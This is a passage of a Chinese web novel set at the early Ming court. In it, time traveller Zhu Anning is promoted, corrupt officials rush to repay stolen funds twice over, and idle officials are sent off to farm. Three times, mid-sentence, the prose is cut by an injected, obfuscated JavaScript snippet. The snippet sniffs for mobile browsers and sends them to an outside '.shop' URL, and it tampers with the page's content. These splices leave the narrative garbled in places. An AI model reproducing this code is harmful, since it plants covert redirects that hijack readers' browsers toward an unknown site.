“谢陛下宽宏大量,那生意所赚钱银,我等分文不少,今日就会双倍送交国库!以谢陛下恩情!” “很好,有悔罪之意,不愧是肱股之臣,咱希望你们去了北边,可以好好建功立业,不负期望!” 那吏部郎中刚开始记录。 人事任免本就是他的工作,虽然他不是尚书了。但是现在吏部都被抓光了,他和尚书也没区别…… 而梅思祖、陆仲亨和朱元璋的对话,那是直接把百官又震撼了一次。 还能这样? 刚才还是罪臣,怎么一下就肱股之臣了??? 一群文官都楞在了那里。 武官倒还好,毕竟糙惯了。 “愣着干嘛,好好记录。”朱元璋瞥了一眼吏部郎中。 “是!” “还在这里的诸位,都是清清白白的,咱相信你们,但是偶尔有些家人参与了点商贾之事,又不懂辨别的,咱也希望你们回去后好好查查,是不是做了点不好的事情,像梅思祖、陆仲亨那般,双倍补回给国库,大家还是咱的肱股之臣,对不对?太子?” “父皇所言极是。” 第一百九十七章 你是真的喝醉了? “有过的,咱会责罚,但是有功的,咱也不会吝啬。” 站在上方朱元璋,指了指吏部郎中,示意他继续记下去。 “东宫詹事府之职,位重责大,不可一日而阙詹事。原东宫詹事府赞读朱安宁,才华出众,勤勉谨慎,大功于朝。今特擢升为少詹事,以彰其勋,期其能更展宏图,为东宫詹事府再添华彩。望诸臣共勉,共赴国事,以成大明之盛世。” 这番话是早就准备好的,所以说得文绉绉的。 只是今天的百官就像那天看番薯,吃土豆的大臣那般,被一轮接一轮的大事整得有点麻,多少已经有点脱敏。 居然反应已经没了最初的大。 少詹事而已。 说是实职,实际连上朝都要以太子侍班的身份过来,本是不在百官序列里的。 所以并不算太过震撼。 唯一让众人有些吵闹的是,朱安宁这三个字。 “是那个朱安宁?” “是这个朱安宁吧!” “你们是说之前的朱安宁?” 不熟悉朱安宁的百官脑中想起了是在应天府传了很久的那个。 收租只收一成,完了还给佃农们分粮的那个地主…… 另外一部分消息灵通点的,还知道太子的铁冶建到了这朱安宁的庄子里。 这朱安宁,貌似和太子、曹国公等人,有点说不清道不明的关系。 于是百官们对了对了眼。 不少人都想到了一个比较炸裂的推测。 什么才华出众,勤勉谨慎,大功于朝……这不是放屁么! 具体干了什么是一个字没说,职位擢升是蹭蹭蹭! “朱啊……” 几个老臣倒吸一口凉气。 然后瞬间便安静了下来。 这安静的气氛,像瘟疫般瞬间就蔓延了开来,让大殿陷入了沉寂之中。 “吏部,记下来了么?” “陛下,臣已记好……” “好,另观朱安宁不仅文治有功,更兼武略之才,曾多次为咱出谋划策,于军事上亦有独到见解。故再下一令,擢升朱安宁为指挥佥事,望其能以文武之道,辅佐朕躬,共守大明江山,成就不朽之业。” 又是一段早就准备好的话语。 老朱微笑着看着下方。 再一次炸开了锅。 什么出谋划策……什么独到见解…… 你知道么? 我不知道啊…… 下方尽是满脸问号的大臣们。 好好好,这么升官是吧。 结果出乎大人们意料的是,这还没完。 “既然是指挥佥事,应当掌军。”朱标在旁边补了句。 “嗯,太子有理。” “掌虎贲卫。” 吏部郎中已经僵在了那里。 他不知道这种擢升算是什么。 若是放在平时,绝对就是乱命了。 不被御史或者其他文武百官闹事才怪。 但是……今日…… 很特殊。 很是特殊。 随便跳出来,那是可能会死的。 总而言之。 这老朱早就想做的事情,终于是在这个特殊的节点,公布了出来。 李文忠,刘伯温、李善长、还有一直作壁上观的徐达汤和等人,那是直接开始行礼。 “恭喜陛下,觅得良才!” 带头大哥集体发话。 第一时间反应过来的,是早已听过朱安宁名头,知道是他种出番薯土豆神物的那几个前尚书和阁臣。 他们也是一副理所当然的样子。 “恭喜陛下,觅得良才!” 懵逼归懵逼。 百官们,那也只能是立马跟上。 虽然他们根本就不知道,这朱安宁,究竟长什么样……又是怎么突然从一个赞读,变成少詹事和指挥佥事的。 至于带头大哥们为什么会带头。 这不是废话么。 一个能够种出番薯,土豆的人。 一个能够搞定北边舆图的人。 一个能够造出火绳枪,虽然造不出燧发枪让几人很是恼火,但是恼火之余又觉得火绳枪很吊的,人。 他当个少詹事怎么了,做个虎贲卫的指挥佥事怎么了? 就这么说,接下来只要不是他按着老朱锤一遍,然后吐唾沫。 这几个老臣都会拼命护着朱安宁。 ———————— 朱安宁睡得很爽。 最后是嘴巴太干,让他醒了过来。 酒后通常都是这样。 朱安宁还算是有经验的,他立马就开始找寻水源。 却也忽然发现了,这并不是他的小院,也不是他的房车。 一时间,处于有点懵逼的状态之中。 而他旁边的宋慎倒是有眼力见,他在旁边早就备好了茶,见朱安宁醒了,便立马冲了杯,递了过去。 “朱大人,酒后喝点茶,舒坦……” “啊……谢谢。” 朱安宁也没有客气,他接过就此喝下。 然后微微回过神。 他晃了晃脑袋,终于是想起了自己在哪。 “我……我这是在詹事府?” “对的,朱大人,您在詹事府。” “那那些人呢?不是点卯么?” 朱安宁是一愣,然后走到廊外,看了眼太阳。 一脸懵逼。 宋慎很想吐槽,都日上三竿了,还点什么卯。 但是又怕惹毛朱安宁,他没敢开口。 最后还是朱安宁自己发现时间都去哪了,这件事…… “朱大人,您说不必点了,他们就都回去干活了。” “干活啊,也行,也行……” 他点了点头,旋即又觉得有点不对头。 睡过去前他可是听得清清楚楚,这群鸟人说的是打叶子牌什么之类的。 哪是像有活干的样子。 想到这里,他便也是直接转身,踏入了屋内。 直接是把几个站着都快要睡着的勋贵子弟给吓得差点跳了起来。 还有少数几个打瞌睡打得比较沉的,更是需要同伴推了几下,才醒过来。 屋内寂静了一瞬,立马又是热闹了起来。 一众人是连忙又开始找事情做。 只是事情又不会突然冒出来。 朱安宁这种社畜摸鱼佬,那是一下就看出了这群B人,那就是没事找事干。 他只是点了点头,也没有点破,而是立马退了出去。 宋慎作为外官署的人,没有被人召唤,自然是不会主动进去的。 他就在外面这般等着,直到朱安宁是忍着笑跑出来。 “大人何故发笑。” “小宋大人,这官署,天天都是如此?” “我……我不太清楚詹事府的情况。” 一瞬间,宋慎有点结巴的样子,是让朱安宁更加确认了一件事情。 这里就是个清闲衙门,用来塞关系户用的。 现代又不是没有…… 留学的公子哥们,小姐名媛,知道外国不好过了,不得回大陆安排安排啊。 现实中虽然朱安宁没什么机会碰上,但是网络上那是一抓一大把。 这几百年前,也是这样啊…… 真就是优良传统了是吧。 朱安宁没有管宋慎,他又是直接坐到了椅子上,问了个无厘头的问题。 “我是少詹事,是不是意味着,我叫他们干嘛,他们就得干嘛?” “您就是他们的主官,应当如此。”宋慎,想都没想,那是回答了他。 “我看,这群人,也是身强力壮啊,不是应该是文官么他们。” “咳咳……虽是挂职文官,但是他们中大多数,都略通兵略……” 宋慎说得很是婉转。 一群勋贵之后。 从小捉鸡撵狗是长项,虽说也有读过书。 但是和那些正儿八经的读书人比起来,肯定是有差距的。 换言之,这是一群普遍肌肉力量大于智商的莽人。 “那这就好办了。”朱安宁锤了锤手,似乎是想到了什么开心的事情。 正当此时。 下朝的朱标,带着几个侍卫,走进了这……原本是东宫太子日常得来的地方…… 迎头便看见了在哪不知道嘟囔什么的朱安宁。 结果还是宋慎先反应过来。 “见过太子。” “相林,今日是你带安宁小弟过来的吧,辛苦你了。” 宋慎是宋濂的孙子,两人也算是一起上过课的,所以朱标一向以字相称。 至于朱安宁叫安宁小弟,纯粹是叫习惯了。 朱安宁抬头一看,嚯,太子爷,那也是立马学着宋慎的样子,行了个礼。 “见过太子。” “行了,你们都不必多礼。你们几人,守在外面吧。” 他对两人说道,又回头屏退了几个侍卫。 接着又是看了眼屋内不知道在忙什么的一众勋贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378801|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子弟,那是苦笑了起来:“让你们见笑了,这詹事府,确实是我没管好。” 朱标是苦笑着摇头。 你要说他没能力管,那是不可能的,但是纯粹就是没时间而已,而且这詹事府现在确实有点多余。 撤又不能撤…… “进那边房间说话吧。” 朱标领头走进了官署对过去的屋子。 给朱安宁介绍道:“这应该是詹事和少詹事办公的房间,你未来尽管用。” “是。” 朱安宁饶有兴致地打量了一下。 明显没什么使用痕迹,但是看着却也是有好好打扫。 “相林,你也在鸿胪寺有两年了吧。”看着朱安宁在逛,朱标也是先和宋慎聊了起来。 “回太子,是的。” “让你最初任序班,是想着你与你叔叔同朝为官,难免会有闲言秽语,倒是委屈你了。” “不敢……”说是不敢。 那委屈还是有的。 序班。 那就是序班。 比起这詹事府的闲人们多了点正事要做,但是多也有限。 宋慎一时间不知道这太子是什么意思,也不太好说太多。 “我和父皇商量过了,今日起,你来詹事府吧。” “啊?” 詹事府……比鸿胪寺还要闲啊! 宋慎刚想说些什么。 但是回头一看,却也是看见了太子的目光,他看的正是朱安宁。 “詹事府主簿。” 朱标直接给出了职位,便没有说更多的东西。 宋慎是有脑子的,他立马是心里神会。 就是来帮朱安宁呗。 好像……也不是不行…… “嗯?小宋大人要调任詹事府,那感情好啊,我缺人手呢。” 房间不大,两人的话,朱安宁是听在耳里。 朱标一听朱安宁的话,也是乐了起来。 “怎么?你今天不是刚来么?你詹事府还缺人手?我看你那边一群文学中舍,好像也没什么事做嘛。” 对于朱安宁,朱标总是聊得比较随意。 朱安宁却也没有马上反驳朱标的话。 他是把之前问宋慎的话,又问了一遍。 “敢问太子,若我是这詹事府少詹事,我是否可以统领众人,去做些事情。” “只要不是为非作歹,伤风败俗,有违国体,有何做不得。” “好,那这群人,很适合耕田。” 这话,直接就让朱标和宋慎同时沉默了下来。 “这没有为非作歹,伤风败俗,有违国体啊!” 朱安宁又补了一句。 “你是准备在詹事府里开地?”朱标试探性地问了句。 主要是朱安宁这个说法,过于有开创性。 是把朱标一时间有点整不会了。 “不行就回永乐庄那边,反正这群人在这里也是闲的慌。” “咳咳……他们还是有点活干的。”朱标面子上是有点挂不住了,朱安宁说得太直接了啊,毫无语言的艺术。 “对对,有一点,一点,那就轮流留两三个人在这里就行。” 朱安宁挠了挠头发,其实是因为昨天喝过酒,他是思考能力确实下降了不少。 “你怎么又想种地啊……” “不是我想,是他们可以去种,这批人身体看着就挺壮了,平时也做了些整理文书的工作,军屯的人适合做种植技术培训,这批人刚好用来做文字记录啊!” 朱安宁咧嘴笑了起来。 说得冠冕堂皇。 其实,他就是想要这批人去种玉米还有其他蔬菜而已。 土豆番薯自有朱橚他们搞定,这事他还是放心的。 但是他也知道,要丰富古代人的餐桌,他是任重而道远啊! “有理。” “太子,您准了?” “你是少詹事,你自行决断!” “陛下不会骂我吧……” “陛下现在说不定还在感谢你呢。” “啊?” “你忘了,昨日你酒席上提的法子,国库不够银子了,那就趁现在刚好要杀一批,赶紧再敲打一批,叫什么树立典型,对于这批并非是主犯的,只要能退还双倍赃银,降官职以儆效尤,免死!其他官员会纷纷效仿的。” “嗯?我……我什么时候说过这样的话???” “你……真的喝醉了?” “应……应该是……” 两人,一时间,都有点尴尬。 第一百九十八章 这边支援,那边开拔 两人都有些尴尬。 最后还是朱标先打破这无言。 “于国于民,这法子我都认可,也可以让父皇少些杀孽……” “但是此法决不可多用!不然这会成为脱罪的重要方法……这钱银可以买到很多东西,但是有些东西,不可用钱银来交易。”朱安宁连忙跟了句。 明朝后的某个朝代,又不是没用过。 最后又是变成羊毛出在羊身上。 三七分成之类的事情,是这群官僚土绅完全干得出来的。 不需要朱安宁细说,朱标是能理解他的意思的。 也是点了点头。 只有一旁的宋慎有些懵。 但是他性格很好,不然也不会和方孝孺这种犟狗都还玩得这么好了。 他就静静站在一边听,也不说话。 “对了,今天上朝,父皇已经告知百官你的存在了,明日起你是否要上朝?” “我?上朝?什么时辰?” “比詹事府点卯更早一点……” 朱标说得相当直接。 于是朱安宁回答得更直接。 不愧是京城上班的人们。 起得比鸡早不是开玩笑的是吧。 今天能被拉起来这詹事府已经是极限,结果现在说还要更早? 怎么不一刀鲨了他…… 所以他头摇得跟个拨浪鼓似的。 “禀告太子,我位卑言轻,还是不要了吧……” “就知道你会是这个回答……”朱标顿了顿,继续说了下去:“但是你需知道,多少人想要这个上朝议事的机会都没有,你真的不去?” “有事臣可以找太子!”朱安宁拜了拜,用了上尊称,然后咧嘴笑了起来。 朱标也是轻笑了两声,便没有再勉强他。 “今早父皇已经明说了只要返还双倍赃银便不过多追究,不知道那些涉及了官粮等问题的人,会不会主动交上来……”他忽然又换回了刚才的话题,多少有点忧心。 “继续查,有问题的继续抓就是了,抓多了自然会主动的,垃圾是不会自己去到他们该去的地方的,这时候就需要太子和洪武爷去动手了。” “也只能这样了。” 涉案的人实在是太多太多了。 单单毛骧第一次交上来的就已经极其骇人。 昨日审了一轮。 又多了一大串人。 朱标估算过,真按那名单,这样杀下去的话,基本也不用上朝了,六部杀光,御史杀一半,十二布政司全灭,这太夸张了。 所以才会有说朱安宁的办法,虽然不是很完美,朱标父子仍旧愿意采用这件事。 这个话题就此终结,这是需要时间去验证的东西,两人讨论再多,也改变不了什么。 于是朱安宁回到之前的耕田话题,这才是他更关心的事。 他的玉米大计! 番薯土豆解决温饱。 玉米解决的问题要远远多于土豆! 桑基鱼塘不能乱搞,但是玉米青贮养动物,这是可行的哇。 “对了,敢问太子……那伍……五皇子现在在何处,江宁军屯究竟何时开垦,时间不等人啊。” 他连忙问了嘴。 其实他还想问刘廌刘畾还在李景隆在哪。 每次想到那是李景隆,他还按着李景隆和朱棣住了这么久……真是滑稽。 还有那方孝孺也是。 怪不得小燕同学老是想打他。 历史传承嘛…… “他们?”朱标被问得愣了愣,然后思考了片刻才回答道:“他们最近也是遇上了点事。” 事?不就是带队种田么?还能有什么事。 朱安宁那真就是一脸懵。 宋慎也是好奇了起来。 “江宁屯田种新粮的消息,早就传遍整个应天府了,你应该知道吧。” “当然知道啊,街口大妈都知道。” “那街口大妈是怎么说的呢?” …… 听到这个问题,朱安宁是瞬间沉默了下来。 街口大妈,那自然是哈哈大笑地在那嘲讽上面莫不是得了什么失心疯。 哪有什么粮食产量能这么高。 十有八九是遇上了什么江湖骗子之类的。 比较相信朝廷的部分大妈,虽然没有说得那么露骨。 但是基本论调也是,先看看嘛,说不定产量能比得上水稻小麦呢。 总而言之就是,没什么人信。 “她们不信……” 朱安宁说得直接。 “如果不是我和父皇亲眼所见,亲口吃下,我们两也是半信半疑,更不用说一般百姓了。” “但是这个跟周王那边……” “军屯的人好调动,亲卫或者附近军屯,家世清白的调过来的就对了,但是总旗,十夫长,还有一些小官吏呢?总是也是需要找些人来吧。” 朱标说得有些委婉。 其实就是但凡有点家底的,都不看好这屯田所。 种田就算了,还特么种不知道哪来的新粮。 框傻子啊…… 被选召的人那是千万个不愿意。 头几个被 迫无奈赴任了,后续的人提前知道消息,那就各显神通了。 最后弄得李景隆等人是头疼不已。 “不好找?这应天府这么大,这人还不好找?” 朱安宁还是有些懵。 “能找的自然都是有些家世的,但是大部分都是不愿,本来人家在卫所,亲卫待得好好的,去一屯田所……头几人还能强行调过去,后面的大部分都是称病或者耍赖。” “还能这样?” 这不是不讲王法的封建时代么,怎么到这些事情上就讲道理了呢? “所以到现在这军屯还没开拔?”朱安宁是第一次感受到了封建时代可以行政效率高企,也可以行政效率宛如大嘤帝国。 而且这事,上报老朱那就直接解决了。 老朱拍桌子,谁敢不听。 但是什么都报老朱,不也是显得大家很无能么。 这事才搁置到了现在。 而说着说着,朱安宁的眼睛也是亮了起来。 “这不巧了么,他们那边缺人,我们这边有人!” 朱安宁一拍桌子,指了指屋外,对面那房子里,走来走去实际什么事情都没好好干的一群人。 朱标也是眼睛忽然就亮了起来。 “詹事府乃辅佐我处理政事的机构。” 朱标沉吟了一声。 朱安宁则是跟着笑了一声。 “国事政事天下事,以农为最重,这农事,恰好是太子殿下目前最忧心的事情,我作为詹事府少詹事,责无旁贷,应当为太子分忧!” 他摆出了一副认真的表情。 朱标也是收敛了下笑意,非常配合地回道。 “如何分忧?” “率领詹事府上上下下,全力支援江宁屯田所,速速将这新一批番薯土豆种出来!” “有理,准!” 两人唱双簧似地说了一段,然后一同笑着,看向了对面那群。 勃勃生机,万物竞发的。 年轻人。 ———————————— “侯爷,侯爷。” 汝南侯梅思祖、吉安侯陆仲亨面无表情地刚下了朝。 他们知道这次躲过一劫,全靠李文忠仗义,还有陛下念旧情。 现在是时候,偿还恩情了。 两人都准备回家和家人做个告别,然后,北上。 结果令两人没想到的是,一群官员围了上来。 最后是带头的一名文官开口问道:“侯爷,这……意外收取的那些钱银,退还国库,陛下是否真的能宽宏大量……” 这官员明显水平不太行,说的卡壳不说,还一点都不婉转。 不过幸好梅思祖和陆仲亨也都是粗人。 两人哼了声回道。 “陛下一言九鼎,咱已经把那些不义之财,退还国库了,还捐多了一份上去,我劝诸位,也早日上交国库!” 两人脚步走得飞快。 知道现在说多错多。 这两年他们已经惹了太多乱子。 现在就怕又祸从口出。 说了这么一段,飞也似地一同跑回了自己的府上。 梅思祖刚回到家,迎头便撞上了自己儿子。 “梅殷?今天你不当值?” 梅思祖是满脸问号。 看着自己儿子大白天出现在这里,那是相当意外。 “父亲,指挥使让我回应天府,说让我履新职。” “新职?我怎么没有听说!” 难道是自己犯了事,自己儿子也被牵连了? 梅思祖是长长地叹了口气。 只觉得真是倒霉透顶。 这好儿子可是驸马爷,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378802|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受朱元璋喜欢的那个驸马爷。 结果自己脑子抽抽了这两年闹了不少荒唐事,结果看来好像连累自己儿子了。 “我也不知……只知道指挥使叫得急,我也就直接骑马回来了,想着您应该也差不多回来了,边想和您说一声再去校场。” 梅殷是细细地解释了一番。 让梅思祖是越听越无奈。 “哎,说不得是你父亲我害了你……” “父亲怎么了?”梅殷一听自己父亲又犯事了,心里又是一惊。 他和那李善长的儿子李祺一般,其实都是老实巴交的人。 要说这俩人有什么共同点的话,就都还是老朱的女婿。 “我……哎,之前觉得生意好做,找了点路子,结果这路子太野,惹了大是非……” “莫非是!昨夜的事情?” 梅殷虽然老实巴交,但是也不是傻子,立马就猜出了和昨夜整个应天府鸡飞狗跳有关。 “有些关联……告诉你也无妨,大半个大明,都在贪官粮,现在……都被抓起来了,十二个布政司,加六部尚书以下,基本都抓了哎……” “那父亲你!” “我陷得不深,幸得陛下厚爱,让我退还双倍赃银便是……然后,为父,现在就要出征北边了,我现在是回来收拾东西的。” “出征!?”这事相当突然。 让梅殷是有点难接受。 “戴罪立功罢了,为父这一去,若是没回来,你定要好好听你大 哥话,也服侍好你母亲……哎,我去和你母亲说一说,你去校场吧,估摸你是要调去些……不太好的地方了。” “父亲!”梅殷又唤了声,他的父亲却是摆了摆手,示意他快些走。 父子俩都知道,今此一别,也不知道还有没机会相见。 梅殷是终于忍不住,落下泪来。 而正是此时就住在隔壁的陆仲亨之子,陆贤也是一脸哭相地跑了过来。 这家伙比梅殷要小些,和他的共同点,便也是娶了老朱女儿,也是他的女婿之一。 “殷哥,我爹他要上北边了!” 远远的,陆贤就在那抹眼泪。 “我爹也是!”结果,梅殷也是长叹一口气,回了他。 只是他现在要事在身,也没办法再继续在这里逗留,是拍了拍陆贤的肩膀,说道。 “陆贤,我这边要去校场一趟,指挥使大人说我要履新了。” “校场?”陆贤一听梅殷的话,也是愣了愣,然后又抹了把眼泪,回到:“我也要去,我也是履新!” 两人同时懵了起来。 今天变故有点多。 家里的变故,自己的变故。 两人甚至来不及回宫里和自己妻子说一声…… 毕竟出嫁后的公主,实际上大部分时间还是在后宫的。 所谓的公主府,就是给他们驸马住的而已。 当然了比起明中期后那些变态的规矩。 现在明朝初期,这所谓的礼制并没有那么严谨。 实际上这批公主和驸马,日子还是相对舒适的。 特别是老朱的几个女婿,也是挂了职,没有说当了驸马就没官做了。 总而言之,两人对视了一眼。 都知道今天的事情很是蹊跷。 “先去吧,看看什么情况。”梅殷开了口。 陆贤也是点了点头。 两人翻身上了留在门口的马。 快速地赶往了校场。 而此时的校场。 代表五军都护府的朱橚,正在陪着新上任的李景隆,刘廌刘畾还有李祺等人,在检阅这千户所的兵士们。 如朱标所言,基层的那些官吏始终还未配齐。 但是朱橚是知道这播种事情是绝对不能再推迟的,他们需要立马开拔,去到地里,平田,整水渠,才能种上这最后一季的土豆和番薯。 而他能够动用关系调来这边,且应该不会扯皮的人,应该也要到了。 部队早就整装好了。 不同于基层官吏。 这群军士对于自己去哪,是相对无所谓的。 只要还在应天府就行。 反正自己是军籍,能怎样嘛。 在准备开拔那一刻,朱橚,终于等来了他最后能够调动的两个人。 那就是两个妹夫…… 骑着马的梅殷,还有陆贤。 也是,看到了校场里的那一群人。 第一百九十九章 好多肱股之臣 应天府的官员们下朝时分,恰好也是大街上最热闹的时间。 街口大妈们作为情报组的最重要组成人员,不出意外的正在讨论昨晚发生的事情。 “要死人咧,昨天听说官爷们到处抓人,你们看到了么?” “我们又不瞎又不聋,闹腾了整整一个晚上啊!” “可不是嘛,害我家小孙子一晚上都在哭,睡不着哩。” “王大娘,究竟是怎么回事嘛。” 几人都把目光转向了正在嗑着瓜子的一个大婶。 只见那大婶,翻了个白眼,说得那是言之凿凿。 “几个大官犯事了呗,洪武爷白日抓了一批,不是有人在城门看见了么?那批招供了,晚上不还得抓么?” 你可以讨厌大妈,但是你不得不相信大妈的情报网。 就是这般准确。 几个大婶听着王大娘的话,那是点了点头。 昨日下午确实已经有不少人看到了有人被押送进城的消息。 这事是瞒不住的。 “前些日子才抓了那胡宰相,现在又抓……” “洪武爷抓的,那还能有好官?依我看,再抓多些都无妨!” 几个大娘又是笑了起来。 虽然他们都知道这事的发生。 但是以她们的眼界,是全然不知道这事背后的具体情况……若是按朱安宁记忆中的郭桓案发展下去的话,这不知道有多少人得家破人亡。 因为当时老朱下的命令是全力追查赃款。 那赃款去了哪里呢? 自然是地主富农哪里,这导致无数无辜的人被连坐而死。 甚至杀到最后,连朱元璋都觉得有些过了,把吴庸推了出去,砍了平民怨。 前后有说数万人被杀,也有说十数万。 实际情况已经无法考证。 只知道是腥风血雨。 是确确实实的明初大案之一。 而这一次,是有点不一样的郭桓案了。 大娘们的消息再精准,也不能说知道今早朝堂发生了什么。 她们更不知道的是。 现在下朝回到家的官员们有多疯狂。 “你个败家娘们,我和你说不清!这是咱家的买命钱!你还拦着我,疯了不成?!” “你个天杀的,你才疯了!下朝回来你就扒拉我的首饰盒!这是老娘的东西!” “你的东西不是我的!这些不是我买给你的!” “天杀的你,你买给我的?这是老娘的陪嫁!你是不是想拿我的东西去取悦那些秦淮河边的妖精!别以为我不知道,那都察院的刘大人,前几日不也是去了一趟么!?” “你疯了!我大白天去什么秦淮河?!起开起开,我看看还有什么地方有银子!哎呀,你就别闹了,再不筹措够银子,我们一家今晚就得下大狱!” “呜呜呜呜,你打我,你还敢打我,我爹都不敢打我,你打我!” “哎呀,妇人就是妇人!!!” 有家小院,在那争吵着。 若是平时,住在附近的几个官老爷官太太们,肯定要过来这里看看热闹。 然后包装成谈资,下次吃酒或者聚会的时候,好好取笑一番。 但是今天却没有人来看热闹。 因为这片官员住宅区里。 类似这种争吵,在轮番上演。 不外乎是,退朝的官一回家就开始翻箱倒柜,一言不发,脸色铁青。 他们的夫人自然是一脸懵逼。 要么争吵起来,要么退到一边不敢言语。 大概,连朱安宁都没想到,这酒后胡言乱语效果会这么好。 不过也是多得朱元璋是个玩弄人心的好手。 李文忠,陆仲亨,梅思祖三人也配合得好。 加上昨日和昨夜的事情,一下就吓住了那群拿了好处的官。 直接回家就开始搜刮财物。 而一些动作快的,那是直接就打包好了财物,拿上了些好拿的,不好拿则列好了清单。 至于说什么赃款的两倍。 那就是开玩笑了。 大部分人,都不敢真的只拿两倍。 都怕自己拿少了,一会就去陪郭桓了,陪一晚上,估计今夜就可以去见胡惟庸了。 这可不行…… 于是好几个麻利的官员就又一次挤到了宫门口。 “王大人王大人……要不咱们往东宫去吧,太子……太子始终儒雅些……” 有官员提了个意见,而几个一同汇到门口的官员也是纷纷点头。 给谁不是给,肯定要给性格稳一些的副皇帝同志啦。 太监很快就通报了门口开始有朝廷命官聚集的消息。 老朱是第一时间知晓的。 当他知道这批官员找的都是朱标后,那是不由自主地笑了起来。 “这些人,贪的时候不怕死,现在倒是怕起来了啊!保儿,你看,今儿闹这么一出,委屈你了,但是咱们国库怕是能充足起来了。” 虽是下朝,但是李文忠并没有离开宫里,而是被召进了文华殿,和汤和徐达一起。 朱元璋也没有忌讳那么多,是直接在几人 面前说了起来。 “这朱安宁的计策虽然好,但是也就用这么一次了,未来,对百官的监察,才是重中之重,退赃免罪的事情,只能有这么一次。” 老朱也得出来和朱安宁一般的结论。 不得不说,还是很有眼光的。 朱安宁只是历史上的教训看得多而已。 而老朱,可是实实在在自己想通的。 特事特办可以,但是口子绝对不能开! “行了,有问题的他们会自己找标儿的,那,我们就可以好好地说一说,那西南的事情了!” 朱元璋敲了敲桌面。 丢了一份奏章出来。 赫然是西南那边发来的,急件。 —————— 詹事府,那群小官吏自然是不知道自己未来的悲惨命运的。 朱安宁和朱标也没有打算这么快就公布。 因为朱安宁方才提了个说法,他想先去和朱橚等人见一面再说。 这事朱标也是同意的。 恰好今日也是校场开拔的日子,朱标正准备带朱安宁动身前去汇合。 结果有个太监却立马跑了过来,对朱标耳语了一阵。 而朱标的脸色,是立马就精彩了起来。 他看了看朱安宁,又转头看了眼宋慎。 待那太监退出去后,过了半晌才开口。 “朱詹事,宋主簿,看来我们一时半会是走不了了,你两刚好可以帮我。” “啊?” 不同于宋慎的疑惑,朱安宁是直接啊了出声。 “朱詹事啊,你那酒后的主意,起效了啊。” “啊?这么快……” 他们,确实是低估了,这批官员的行动力。 “走吧,去东宫正殿。” 朱标没有犹豫,他径直起了身。 然后往外走去。 这一幕恰好被那官署里面的勋贵子弟看见。 只见朱标是跨过了门槛,出到了院子外。 而他们的主官,朱安宁,那是大大咧咧的站到了太子的身旁,完全没有什么上下级的感觉…… 当然,这其实只是朱安宁还未习惯朱标的身份而已。 当三人走出詹事府后,朱安宁是惊醒了过来,连忙退了小半步。 封建主义要不得。 但是活在封建时代,他也没办法,只能说,遵守当地法规,才是最安全的做法。 只是他退半步的画面,那些勋贵子弟们都是没看到的。 他们看到的是,自己的主官,挺拔地站在了太子身边,那是一副理所当然的样子。 不由得让这群家世显赫的庶出子弟开始猜测……这朱安宁究竟是什么来头嘛!真是哈人! 詹事府本就是东宫官署,所以他们从詹事府走到正殿,花不了多少时间。 当他们走进去时,里面已经聚集了一堆官员。 一群人是紧张地给朱标行了个礼,然后都没有言语。 多少有点等待发落的感觉。 朱标指了指案台旁边的位置,示意宋慎坐下,明显是让他做记录,也恰好对上了他的新职位……主簿。 然后又指了个空位,让朱安宁坐下,这位置就是个旁听了。 朱安宁有点如坐针毡的感觉。 因为他能感觉得到,一众官员的视线全部都转到了他的身上。 “这是……” 终于还是有官员忍不住窃窃私语了起来。 “能和太子一起进来,再加上这官袍……难道就是那少詹事朱安宁?” “没错了,应该是他了……” “哎,真是年少有为啊,比起我家那个。” “别你家我家了,赶紧解决我们手里的事才是正事。” “也是也是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378803|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 一群人的交流很快结束。 能在这么短时间内来到这东宫的人,都是很有决断的。 他们知道什么事情最重要。 很快殿内又陷入了沉寂之中。 朱标等到众人再次静下来是才开口。 “诸位大人,找我应当是有要事的,何不先去到殿外,按照方才抵达我这里的顺序,一个个进来讲?毕竟肯定是要上奏一些机要之事,那么多人在场听着,也不好吧。” 朱标也是一番话说得滴水不漏。 在场的都没有智力残障人士。 那是立马就又一次行动力拉满,去到了殿外,有序地候了起来。 第一个进来的,便是方才和自己老婆吵了半天架的太常寺卿白杰。 他一进来就直接跪了下来。 是把坐在那里,准备看表演的朱安宁都吓了一跳。 这,洪武朝的官员都这么野的么。 和电视剧看的那些文绉绉又规矩多得要死的,好像有点不一样啊。 “臣有罪!” 他直接是嚎了一嗓子,然后把身上的布包和一份书信,放到了地面。 “嚯……这么直接。”朱安宁嘟囔了一句,然后却也是听到了来自朱标的命令。 “朱詹事,呈上来给咱看看呗。” 坐在正中间椅子上的朱标,开始发号施令。 朱安宁也算是回 过味来了,那宋慎负责记录,那自己就是负责跑腿那个? 